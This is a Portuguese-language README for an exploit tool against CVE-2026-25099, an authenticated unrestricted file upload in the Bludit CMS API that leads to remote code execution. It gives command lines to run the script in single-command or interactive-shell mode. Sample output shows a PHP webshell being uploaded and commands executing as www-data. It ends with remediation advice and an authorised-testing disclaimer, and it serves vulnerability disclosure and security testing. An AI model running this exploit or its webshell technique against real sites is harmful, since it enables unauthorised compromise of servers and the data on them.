CVE-2026-25099 - Upload de Arquivos Irrestrito na API do Bludit CMS para RCE

Descrição

Versões do Bludit CMS anteriores a 3.18.4 permitem que um atacante autenticado com um token de API válido envie arquivos de qualquer tipo e extensão através do endpoint POST /api/files/<page-key>. A função uploadFile() não realiza nenhuma validação de extensão ou conteúdo de arquivo, permitindo que webshells PHP sejam enviados e executados como www-data.

Versões Afetadas

• Vulnerável: Bludit < 3.18.4
• Corrigida: Bludit 3.18.4
• Pré-requisito: Token de API válido (visível no painel administrativo em Plugins → API)

Uso

# Execução de comando único
python3 CVE-2026-25099.py -u http://target -t "API_TOKEN" -c "id"

# Shell interativo
python3 CVE-2026-25099.py -u http://target -t "API_TOKEN"

Exemplo de Saída

[*] CVE-2026-25099 - Upload de Arquivo na API do Bludit CMS para RCE
[*] Alvo: http://target
[*] Obtendo chave da página...
[+] Chave da página: create-your-own-content
[*] Enviando webshell...
[+] Shell enviado: http://target/bl-content/uploads/pages/create-your-own-content/abcdefgh.php
[*] Verificando RCE...
[+] RCE confirmado: uid=33(www-data) gid=33(www-data) groups=33(www-data)

[+] Shell interativo (digite 'exit' para sair)

shell> whoami
www-data
shell> grep BLUDIT_VERSION /var/www/html/bl-kernel/boot/init.php
define('BLUDIT_VERSION', '3.18.2');

Capturas de Tela

Correção

• Atualize para o Bludit 3.18.4 ou posterior
• Desative o plugin de API se não for necessário
• Monitore /bl-content/uploads/ em busca de arquivos PHP inesperados

Referências

• CVE-2026-25099 no MITRE
• Análise Técnica - yh.do

Autor

Yahia Hamza - https://yh.do

Aviso Legal

Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. Use com responsabilidade e somente contra sistemas nos quais você tenha permissão para testar.